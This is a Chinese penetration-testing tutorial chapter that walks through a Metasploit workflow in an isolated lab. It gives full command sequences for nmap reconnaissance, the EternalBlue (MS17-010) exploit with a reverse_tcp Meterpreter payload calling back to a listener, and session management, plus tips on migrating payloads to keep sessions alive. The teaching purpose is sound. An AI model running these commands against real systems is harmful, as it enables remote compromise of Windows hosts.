章节摘要:侦察 → 漏洞匹配 → 配置 exploit → 会话 → post。SOURCE 3.x 战术闭环图。
db_nmap + 漏洞映射check 验证、run 拿会话sessions 管理多会话,理解会话生命周期与后台任务第 2 章把框架的零件备齐了,本章开始用它打一场完整的仗。Metasploit 的工作流本质是一个闭环:侦察 → 漏洞匹配 → 配置 → 利用 → 会话 → 后渗透 → 报告。它不是一个线性过程,而是不断迭代的决策循环——利用失败就回溯到侦察,情报不足就补扫描。
| 阶段 | 章节 | 核心产出 |
|---|---|---|
| 侦察 | 3.1 | hosts/services 数据库资产、漏洞候选清单 |
| 实施 | 3.2 | 目标 session |
| 巩固 | 3.3 | 稳定会话、后台任务 |
| 扩张 | 4.3 | 内网路由、横向移动 |
# 侦察(3.1) db_nmap -sV 192.168.56.0/24 use auxiliary/scanner/smb/smb_version search cve:2017 type:exploit # 实施(3.2) use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.56.10 set payload windows/meterpreter/reverse_tcp set LHOST 192.168.56.1 check run # 会话(3.3) sessions -l sessions -i 1 background jobs -l sessions -K
db_nmap 与 db_import 外部数据融合、vulns 关联分析——把"数据"变成"情报"search 高级过滤、RHOSTS/LHOST 参数化、staged/stageless 取舍、check 风险预判假设你在隔离 lab 里负责测试一台 Windows 靶机(192.168.56.10):
# 1. 侦察:确认存活与开放端口 db_nmap -sV -p445 192.168.56.10 # 192.168.56.10 开放 445/tcp,服务 microsoft-ds # 2. 漏洞映射:查数据库与搜索模块 search cve:2017 type:exploit platform:windows # 3. 配置与验证 use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.56.10 check # [+] The target is vulnerable. # 4. 利用 set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.56.1 run # [*] Meterpreter session 1 opened # 5. 会话 sessions -i 1 getuid
# 6. 清理现场(实验结束) sessions -K # 关闭所有会话 jobs -K # 终止所有后台任务
这一整套流程,就是本章要带你练成的肌肉记忆。
| 概念 | 出现在 3.x | 后续将用到 |
|---|---|---|
| 漏洞映射 | 3.1 | 4.3 内网横向 |
| handler 监听 | 3.2 | 4.1 Meterpreter |
| 会话后台化 | 3.3 | 4.3 autoroute |
| 会话作为枢纽 | 3.3 | 5.2 自动化 |
⚠️ 操作红线:本章所有攻击步骤都必须在授权范围内执行。实验 IP 统一使用
192.168.56.0/24隔离网段;对未授权目标执行db_nmap扫描同样违法。
💡 学习提示:理解"失败是常态"。模块匹配不上、payload 回连失败,都是信息,带着日志回到侦察阶段,而不是盲目重跑。
| 失败现象 | 根因 | 对策 |
|---|---|---|
| 会话开了又秒断 | 载荷进程被杀/未 migrate | 新会话先 migrate 到 explorer.exe |
| 一直"Exploit completed"无 session | handler 没起或 LHOST 错 | jobs -l 复核监听器 |
| check 返回 Unknown | 逻辑漏洞难探测 | 结合侦察情报人工判断 |
services 无数据 |
数据库未连 | db_status、db_connect |
# 面向整个闭环的自检脚本(隔离环境,作为章节练习) msfconsole -q db_status # 1. 数据库在线? db_nmap -sV -p445 192.168.56.10 # 2. 侦察 search cve:2017 type:exploit # 3. 模块匹配 use exploit/multi/handler # 4. 先架监听 set payload windows/meterpreter/reverse_tcp set LHOST 192.168.56.1 run -j use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.56.10 set payload windows/meterpreter/reverse_tcp set LHOST 192.168.56.1 check # 5. 非破坏验证 run # 6. 利用 sessions -l # 7. 会话
把这七步走通一次,你就掌握了本章全部核心能力。走不通也没关系——每一步的报错都是情报,按"失败模式表"逐项排查即可。
本章把框架从"零件"组装成"工作流":侦察阶段把数据变成情报(3.1),实施阶段把情报变成会话(3.2),会话阶段把会话变成据点(3.3)。三者环环相扣,构成渗透测试的标准作业闭环。下一章将进入 Meterpreter 的世界,看这个"内存里的微型操作系统"如何把会话的价值放大到极致。